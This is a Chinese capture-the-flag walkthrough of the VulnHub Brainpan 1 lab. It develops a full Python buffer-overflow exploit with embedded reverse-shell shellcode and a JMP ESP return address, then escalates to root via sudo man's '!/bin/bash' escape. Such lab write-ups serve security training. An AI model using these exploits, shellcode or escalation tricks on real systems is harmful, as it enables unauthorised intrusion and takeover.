靶机获取地址??
Brainpan 1: https://www.vulnhub.com/entry/brainpan-1,51/
环境设置
靶机ip:192.168.110.55(使用VM16?设置桥接模式)
kali虚拟机ip:192.168.110.129(使用VM16 设置桥接模式)
win10虚拟机ip:192.168.85.130(使用VM16 设置NAT模式)
信息收集
打开nmap 先用StealthScan模式扫描一次
?再更细致的扫描一次 把Banner信息还有系统信息扫描出来
发现9999端口和10000端口是开着的
用netcat连一下9999端口 发现要输入密码
http服务开在10000端口上 开浏览器访问一下
?查看一下源码 没什么收获 用dirb目录爆破
?响应包响应码301 是出现了重定向 浏览器里访问
发现了一个.exe文件 linux没法运行.exe文件?放到windows10虚拟机下面看一下
好像这个程序监听端口9999?我们用netcat连上去试试
?发现这个好像就是开放在靶机9999端口上的程序
回到kali上用strings命令输出这个.exe文件所有可以显示的字符
?
?发现这个shitstorm就是她所要的password 再win10虚拟机中输入后
这个程序会将你输入的密码复制到缓冲区中 其实提示已经很明显了 这个程序应该是有缓冲区溢出漏洞的 把他放到debugger里面跑一跑(这里用的是Immunity Debugger) (OSCP教材的缓冲区溢出章节看了太久了 复习一下)
这里拿OSCP教材的缓冲区溢出POC结合这个靶机改一下变成下面的POC
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
size = 800
inputBuffer = "A" * size
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
启用调试这个POC后 发现EIP寄存器确实被覆盖
漏洞利用
接下来我们要确定到底是inputBuffer变量中的哪一段覆盖了我们的EIP寄存器
这里用msf创建800个字符不重复的字符串
用msf创建的字符串替换inputBuffer变量 重新调试POC
发现EIP被35724134即5rA4字符 查询一下他在intoBuffer中的位置
?调整一下POC确认一下位置正确
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "B" * 4
buffer = "C" * 272
inputBuffer = filler + eip + buffer
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
看了眼Debugger 验证位置正确 查看一下ESP寄存器的指向
接下来就该检查坏字符
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "B" * 4
#buffer = "C" * 272
badchars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
inputBuffer = filler + eip + badchars
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
发现没有坏字符 所有的字符都可以正常进入栈中 没有出现中断
然后就是找到可以跳转到ESP寄存器的地址用来来替换eip变量?这里用mona.py来在brainpan.exe里面查找(这里\xff\xe4即JMP ESP汇编指令的十六进制表示)
!mona find -s "\xff\xe4" -m "brainpan.exe"
?这里查看到的地址是0x311712f3 倒着输入eip变量并执行POC 即代码如下
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "\xf3\x12\x17\x31"
buffer = "C" * 272
inputBuffer = filler + eip + buffer
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
再次执行POC的时候发现ESP寄存器指向向下偏移了两个字节
修改一下代码?
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "\xf3\x12\x17\x31"
offset = "C" * 4
payload = "D" * 268
inputBuffer = filler + eip + offset + payload
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
(做到这里才发现 payload有点小了 很可能放不下shellcode 重新改变payload的大小很有可能POC执行就失败了 试了一下还好这里payload改成468 POC还能正常执行)
这里拿msf生成一下反弹shell的shellcode 把他放到原先payload的位置 再给我们的shellcode加个nops slide 最终代码就生成啦(只不过用在靶机上的时候 shellcode需要重新生成 连接的ip和端口也需要更改一下)
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "\xf3\x12\x17\x31"
offset = "C" * 4
shellcode = ("\xbf\x47\x18\x33\xcb\xdb\xd8\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x7a\x12\x03\x7a\x12\x83\x85\x1c\xd1\x3e\xf5\xf5\x97"
"\xc1\x05\x06\xf8\x48\xe0\x37\x38\x2e\x61\x67\x88\x24\x27\x84"
"\x63\x68\xd3\x1f\x01\xa5\xd4\xa8\xac\x93\xdb\x29\x9c\xe0\x7a"
"\xaa\xdf\x34\x5c\x93\x2f\x49\x9d\xd4\x52\xa0\xcf\x8d\x19\x17"
"\xff\xba\x54\xa4\x74\xf0\x79\xac\x69\x41\x7b\x9d\x3c\xd9\x22"
"\x3d\xbf\x0e\x5f\x74\xa7\x53\x5a\xce\x5c\xa7\x10\xd1\xb4\xf9"
"\xd9\x7e\xf9\x35\x28\x7e\x3e\xf1\xd3\xf5\x36\x01\x69\x0e\x8d"
"\x7b\xb5\x9b\x15\xdb\x3e\x3b\xf1\xdd\x93\xda\x72\xd1\x58\xa8"
"\xdc\xf6\x5f\x7d\x57\x02\xeb\x80\xb7\x82\xaf\xa6\x13\xce\x74"
"\xc6\x02\xaa\xdb\xf7\x54\x15\x83\x5d\x1f\xb8\xd0\xef\x42\xd5"
"\x15\xc2\x7c\x25\x32\x55\x0f\x17\x9d\xcd\x87\x1b\x56\xc8\x50"
"\x5b\x4d\xac\xce\xa2\x6e\xcd\xc7\x60\x3a\x9d\x7f\x40\x43\x76"
"\x7f\x6d\x96\xd9\x2f\xc1\x49\x9a\x9f\xa1\x39\x72\xf5\x2d\x65"
"\x62\xf6\xe7\x0e\x09\x0d\x60\xf1\x66\x58\xf2\x99\x74\x62\xf6"
"\x8b\xf0\x84\x9c\x3b\x55\x1f\x09\xa5\xfc\xeb\xa8\x2a\x2b\x96"
"\xeb\xa1\xd8\x67\xa5\x41\x94\x7b\x52\xa2\xe3\x21\xf5\xbd\xd9"
"\x4d\x99\x2c\x86\x8d\xd4\x4c\x11\xda\xb1\xa3\x68\x8e\x2f\x9d"
"\xc2\xac\xad\x7b\x2c\x74\x6a\xb8\xb3\x75\xff\x84\x97\x65\x39"
"\x04\x9c\xd1\x95\x53\x4a\x8f\x53\x0a\x3c\x79\x0a\xe1\x96\xed"
"\xcb\xc9\x28\x6b\xd4\x07\xdf\x93\x65\xfe\xa6\xac\x4a\x96\x2e"
"\xd5\xb6\x06\xd0\x0c\x73\x36\x9b\x0c\xd2\xdf\x42\xc5\x66\x82"
"\x74\x30\xa4\xbb\xf6\xb0\x55\x38\xe6\xb1\x50\x04\xa0\x2a\x29"
"\x15\x45\x4c\x9e\x16\x4c")
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.85.130", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
下面列出的事具体用在靶机上的POC
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 524
eip = "\xf3\x12\x17\x31"
offset = "C" * 4
shellcode = ("\xda\xd2\xbf\x2d\xe1\xc0\x95\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x12\x31\x7a\x17\x03\x7a\x17\x83\xc7\x1d\x22\x60\x26\x05\x54"
"\x68\x1b\xfa\xc8\x05\x99\x75\x0f\x69\xfb\x48\x50\x19\x5a\xe3"
"\x6e\xd3\xdc\x4a\xe8\x12\xb4\x8c\xa2\x8b\xc5\x65\xb1\x53\xc1"
"\xa7\x3c\xb2\x79\x21\x6f\x64\x2a\x1d\x8c\x0f\x2d\xac\x13\x5d"
"\xc5\x41\x3b\x11\x7d\xf6\x6c\xfa\x1f\x6f\xfa\xe7\x8d\x3c\x75"
"\x06\x81\xc8\x48\x49")
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.110.55", 9999))
s.send(inputBuffer)
print inputBuffer
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
(做到这里才发现 根本不用担心payload太小了 因为msf生成的linux反弹shell的shellcode实在太短了...)
把代码放到工作目录下 用chmod赋予可执行权限 并在python环境下执行
shell!!!!!!!!!!
用python生成一下交互式shell 然后就应该进行提权了
提权
?传一个LinEnum.sh枚举脚本在puck的家目录 然后添加可执行权限 发现个这个东西?
也就是说我们可以用sudo无密码执行anansi下anansi_util 执行后给出了用法
本人在这里执行的时候一直出错一直出错 我刚开始查了之后以为出现这段错误是因为这段代码调用的top命令 然后这个错误出在没有定义一些变量 而且我定义变量后执行这个命令的三个选项都输出的是top命令的结果?然后就卡了很久?中间环境变量提权 内核提权都试了(内核提权因为我kali机gcc版本太高了 没法编译 安装低版本gcc的时候make命令一直报错)最后没办法看了一眼wp 我发现 根本不是别的问题 是我每次在输入这个命令的时候中间都加了’-‘ 所以才会报错(血压骤升)真的引以为戒!!!(下图是报错 捂脸)
?
?言归正传,输入第三条命令 发现其实就是一个可以查看手册页的man命令(这里我看了su命令的手册页)
?在GTFOBins里面查了一下 发现以sudo运行的man命令 通过输入!/bin/bash可以提升到root权限
?
?现在到家目录下面看下flag
结束!?
|